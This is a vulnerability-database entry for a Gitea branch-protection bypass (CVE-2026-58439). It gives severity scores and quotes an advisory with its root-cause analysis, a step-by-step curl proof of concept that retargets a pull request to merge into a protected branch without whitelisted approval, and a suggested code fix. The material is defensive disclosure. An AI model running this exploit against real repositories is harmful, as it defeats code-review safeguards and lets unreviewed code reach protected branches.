CVE-2026-58439

highPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.005 · 44. PerzentilDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.53% (44th) EPSS
CVSS 8.1 · high
Is it mine?
9 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
enisa_euvd · fstec_bdu · osv · cert_bund

EPSS · bewertet 2026-10-27

Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.1
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.1highAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hsecondary · ENISA EU
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HsecondaryAusnutzbarkeit 2.8 · Auswirkung 5.2
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hsecondary · OSV
v3.17.4highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (9)

Betroffene Produkte und Versionsbereiche.

05

Advisories (3)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-2304Gitea: Mehrere SchwachstellenDeutsch2026-07-13csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

  • GHSA-w5pg-649r-p6ggGitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag2026-07-21ghsa · osvUS

    ## Summary Gitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval. - Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`) ## Vulnerability Details ### Root Cause When a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch's** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record. When a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function: - Updates `pr.BaseBranch` - Recalculates merge feasibility and divergence - Deletes old push comments - Creates a "change target branch" comment But it does **not**: - Re-evaluate `official` on existing reviews - Dismiss existing approvals - Check whether reviewers are in the new target branch's approval whitelist At merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement. ### Relevant Code Paths 1. **Review creation** — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false` 2. **Target branch change** — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews 3. **Merge check** — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist ### Prerequisites The attacker needs: - **Write (push) access** to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch The attacker does **not** need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers ## Proof of Concept ### Setup Repository `owner/repo` with branch `master` protected: - Required approvals: 1 - Approval whitelist enabled, containing only user `admin-reviewer` - User `attacker` has write access but is **not** in the approval whitelist ### Steps ```bash BASE="http://gitea-instance:3000" OWNER="owner" REPO="repo" ATTACKER_AUTH="attacker:password" ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user # 1. Create an unprotected temporary branch from master curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}' # 2. Push a malicious commit to a feature branch git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch # 3. Create PR targeting the UNPROTECTED branch curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }' # Returns PR #N # 4. Approve the PR (official=true because tmp-unprotected has no protection) curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}' # Response includes: "official": true # 5. Retarget the PR to protected master curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}' # 6. Verify: approval is still official=true against master curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH" # Response: "official": true, "dismissed": false, "stale": false # 7. Merge — succeeds despite no whitelisted approver reviewing curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}' # Returns 200 OK — malicious commit is now on master ``` ### Observed API Responses **Step 4** — Approval on unprotected branch: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}} ``` **Step 6** — Same approval after retarget to protected master: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}} ``` The `official` flag is unchanged. Under the protected branch's rules, this user's approval should be `official: false`. ## Impact - **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving - **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements ## Suggested Fix Re-evaluate the `official` flag on all existing reviews when a PR's target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`: ```go // After updating the base branch, re-evaluate official status on all reviews reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ IssueID: pr.IssueID, Type: issues_model.ReviewTypeApprove, }) if err != nil { return err } newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch) if err != nil { return err } for _, review := range reviews { wasOfficial := review.Official if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist { review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer) } else { review.Official = false } if wasOfficial != review.Official { if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil { return err } } } ``` Alternatively, dismiss all existing approvals on retarget (simpler, more conservative): ```go // Dismiss all approvals when target branch changes if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{ IssueID: pr.IssueID, Message: "Dismissed: PR target branch changed", }); err != nil { return err } ```

  • GO-2026-6080Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag in go-gitea/gitea2026-07-27vendor · osvUS

    Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag in go-gitea/gitea. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.gitea.io/gitea before v1.27.0.

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-08-13geändert 2026-10-02
08

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan